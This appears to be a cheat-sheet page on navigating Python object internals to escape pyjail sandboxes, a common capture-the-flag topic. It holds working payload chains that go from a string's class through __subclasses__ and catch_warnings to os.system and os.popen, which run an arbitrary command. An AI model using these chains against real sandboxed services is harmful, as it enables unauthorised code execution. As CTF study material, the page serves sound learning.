---
description: >-
  Navigate python objects and some tricks to bypass python sandbox protections,
  pyjails.
---

# Navigating Python Objects

## Methods

<table><thead><tr><th width="216">Methods</th><th>Description</th></tr></thead><tbody><tr><td><code>__class__</code></td><td>Returns the object (class) to which the type belongs.</td></tr><tr><td><code>__mro__</code></td><td>Returns a tuple containing the base class inherited by the object.<br>Methods are parsed in tuple order.</td></tr><tr><td><code>__subclasses__</code></td><td>Each new class retains references to subclasses, and this method returns a list of references still available in the class.</td></tr><tr><td><code>__builtins__</code></td><td>Returns the builtin methods included in a function.</td></tr><tr><td><code>__globals__</code></td><td>A reference to a dictionary that contains global variables for a function.</td></tr><tr><td><code>__base__</code></td><td>Returns the base class inherited from the object (<code>__ base__</code> and <code>__ mro__</code> are used to find the base class).</td></tr><tr><td><code>__init__</code></td><td>Class initialization method.</td></tr></tbody></table>

`dir()` command to show all methods and attributes of the object.

## Navigation

**Goal**: Find `warnings` (`catch_warnings`) because it imports the `sys` module (see [HERE](https://github.com/python/cpython/blob/3.9/Lib/warnings.py#L3)), and from `sys` you can reach `os`.

Get the string class

{% code overflow="wrap" %}
```python
''.__class__
# <class ‘str’>
```
{% endcode %}

Going up by getting the inherited base classes (object)

{% code overflow="wrap" %}
```python
''.__class__.__mro__
# [<class ‘object'> <class ‘str’> ]
```
{% endcode %}

Get all subclasses of object

{% code overflow="wrap" %}
```python
''.__class__.__mro__[1].__subclasses__()
# [<class ‘…’> …]
```
{% endcode %}

Look for `catch_warnings` and its index.

<pre class="language-python" data-overflow="wrap"><code class="lang-python">for i in range(450)
   print(i, end=' ') 
   print(''.__class__.__mro__[1].__subclasses__()[i].__name__)
# index  NAME
# index  NAME 
<strong># etc…
</strong></code></pre>

Import os and call the system. You can't see the output.

{% code overflow="wrap" %}
```python
''.__class__.__mro__[1].__subclasses__()[<INDEX>]()._module.__builtins__['__import__']('os').system("COMMAND")
# error_code or 0 if the command was executed correctly
```
{% endcode %}

Import os and call popen with read(). You can see the output.

{% code overflow="wrap" %}
```python
''.__class__.__mro__[1].__subclasses__()[<INDEX>]()._module.__builtins__['__import__']('os').popen("COMMAND").read()
```
{% endcode %}

## Resources

* [Salvatore Abello - pyjails](https://github.com/salvatore-abello/python-ctf-cheatsheet/blob/main/pyjails/README.md)
* [HackTricks](https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes)
* [pyjailbreaker](https://github.com/jailctf/pyjailbreaker) (yet to be seen)
